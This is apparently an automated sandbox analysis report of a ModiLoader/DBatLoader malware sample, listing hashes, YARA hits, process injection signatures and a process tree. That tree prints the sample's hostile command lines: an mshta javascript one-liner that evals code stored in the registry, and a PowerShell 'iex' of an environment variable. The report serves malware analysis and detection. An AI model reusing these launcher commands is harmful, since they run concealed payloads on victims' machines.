Analysis
-
max time kernel
147s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
08-05-2024 13:33
Static task
static1
Behavioral task
behavioral1
Sample
2511e56e5ffb06cbd33f769a7cde6c17_JaffaCakes118.exe
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
2511e56e5ffb06cbd33f769a7cde6c17_JaffaCakes118.exe
Resource
win10v2004-20240508-en
General
-
Target
2511e56e5ffb06cbd33f769a7cde6c17_JaffaCakes118.exe
-
Size
367KB
-
MD5
2511e56e5ffb06cbd33f769a7cde6c17
-
SHA1
b4d78cc3b23c4e368042f37b5cecdf6eacf1c079
-
SHA256
320872520cd04fd34751cb726e156c84dbbdbecab8630b6c7f7b111bb85da6d4
-
SHA512
b66776396d3e7aa2faefc427234b6aaec568526026edf71731c211c3a19f88056501922ce04b4dea1f6e20c43b29295755cd1e05e60d4424f7fbac22688c36f9
-
SSDEEP
6144:I4Pz9rnSfE5SR7vyu93zujdmwoEoPNx2/CLZgDH7QPboLHXHnGkn:pn0Euqaj8ml6DEPboL3HGm
Malware Config
Signatures
-
ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
mshta.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4452 4000 mshta.exe -
ModiLoader Second Stage 10 IoCs
Processes:
resource yara_rule behavioral2/memory/3388-2-0x0000000000400000-0x000000000043A000-memory.dmp modiloader_stage2 behavioral2/memory/3388-4-0x0000000000400000-0x000000000043A000-memory.dmp modiloader_stage2 behavioral2/memory/3388-5-0x0000000000400000-0x000000000043A000-memory.dmp modiloader_stage2 behavioral2/memory/3388-6-0x00000000009B0000-0x0000000000A86000-memory.dmp modiloader_stage2 behavioral2/memory/3388-10-0x00000000009B0000-0x0000000000A86000-memory.dmp modiloader_stage2 behavioral2/memory/3388-9-0x00000000009B0000-0x0000000000A86000-memory.dmp modiloader_stage2 behavioral2/memory/3388-8-0x00000000009B0000-0x0000000000A86000-memory.dmp modiloader_stage2 behavioral2/memory/3388-7-0x00000000009B0000-0x0000000000A86000-memory.dmp modiloader_stage2 behavioral2/memory/3388-11-0x00000000009B0000-0x0000000000A86000-memory.dmp modiloader_stage2 behavioral2/memory/3388-12-0x00000000009B0000-0x0000000000A86000-memory.dmp modiloader_stage2 -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
mshta.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\Control Panel\International\Geo\Nation mshta.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
2511e56e5ffb06cbd33f769a7cde6c17_JaffaCakes118.exedescription pid process target process PID 3744 set thread context of 3388 3744 2511e56e5ffb06cbd33f769a7cde6c17_JaffaCakes118.exe 2511e56e5ffb06cbd33f769a7cde6c17_JaffaCakes118.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 2940 powershell.exe 2940 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2940 powershell.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
2511e56e5ffb06cbd33f769a7cde6c17_JaffaCakes118.exepid process 3744 2511e56e5ffb06cbd33f769a7cde6c17_JaffaCakes118.exe -
Suspicious use of WriteProcessMemory 13 IoCs
Processes:
2511e56e5ffb06cbd33f769a7cde6c17_JaffaCakes118.exemshta.exedescription pid process target process PID 3744 wrote to memory of 3388 3744 2511e56e5ffb06cbd33f769a7cde6c17_JaffaCakes118.exe 2511e56e5ffb06cbd33f769a7cde6c17_JaffaCakes118.exe PID 3744 wrote to memory of 3388 3744 2511e56e5ffb06cbd33f769a7cde6c17_JaffaCakes118.exe 2511e56e5ffb06cbd33f769a7cde6c17_JaffaCakes118.exe PID 3744 wrote to memory of 3388 3744 2511e56e5ffb06cbd33f769a7cde6c17_JaffaCakes118.exe 2511e56e5ffb06cbd33f769a7cde6c17_JaffaCakes118.exe PID 3744 wrote to memory of 3388 3744 2511e56e5ffb06cbd33f769a7cde6c17_JaffaCakes118.exe 2511e56e5ffb06cbd33f769a7cde6c17_JaffaCakes118.exe PID 3744 wrote to memory of 3388 3744 2511e56e5ffb06cbd33f769a7cde6c17_JaffaCakes118.exe 2511e56e5ffb06cbd33f769a7cde6c17_JaffaCakes118.exe PID 3744 wrote to memory of 3388 3744 2511e56e5ffb06cbd33f769a7cde6c17_JaffaCakes118.exe 2511e56e5ffb06cbd33f769a7cde6c17_JaffaCakes118.exe PID 3744 wrote to memory of 3388 3744 2511e56e5ffb06cbd33f769a7cde6c17_JaffaCakes118.exe 2511e56e5ffb06cbd33f769a7cde6c17_JaffaCakes118.exe PID 3744 wrote to memory of 3388 3744 2511e56e5ffb06cbd33f769a7cde6c17_JaffaCakes118.exe 2511e56e5ffb06cbd33f769a7cde6c17_JaffaCakes118.exe PID 3744 wrote to memory of 3388 3744 2511e56e5ffb06cbd33f769a7cde6c17_JaffaCakes118.exe 2511e56e5ffb06cbd33f769a7cde6c17_JaffaCakes118.exe PID 3744 wrote to memory of 3388 3744 2511e56e5ffb06cbd33f769a7cde6c17_JaffaCakes118.exe 2511e56e5ffb06cbd33f769a7cde6c17_JaffaCakes118.exe PID 4452 wrote to memory of 2940 4452 mshta.exe powershell.exe PID 4452 wrote to memory of 2940 4452 mshta.exe powershell.exe PID 4452 wrote to memory of 2940 4452 mshta.exe powershell.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\2511e56e5ffb06cbd33f769a7cde6c17_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\2511e56e5ffb06cbd33f769a7cde6c17_JaffaCakes118.exe"1⤵
- Suspicious use of SetThreadContext
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3744 -
C:\Users\Admin\AppData\Local\Temp\2511e56e5ffb06cbd33f769a7cde6c17_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\2511e56e5ffb06cbd33f769a7cde6c17_JaffaCakes118.exe"2⤵PID:3388
-
C:\Windows\system32\mshta.exe"C:\Windows\system32\mshta.exe" javascript:MCM8r4Dxd="kiO3zcT";Y9b=new%20ActiveXObject("WScript.Shell");ov1QvuR6="J";xvf7d8=Y9b.RegRead("HKLM\\software\\Wow6432Node\\J1BH01F\\czJoRTEFjG");ZpUFr3="YcoGY8dw";eval(xvf7d8);LhIor6s="HvLruAHC";1⤵
- Process spawned unexpected child process
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4452 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:dsvk2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2940
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82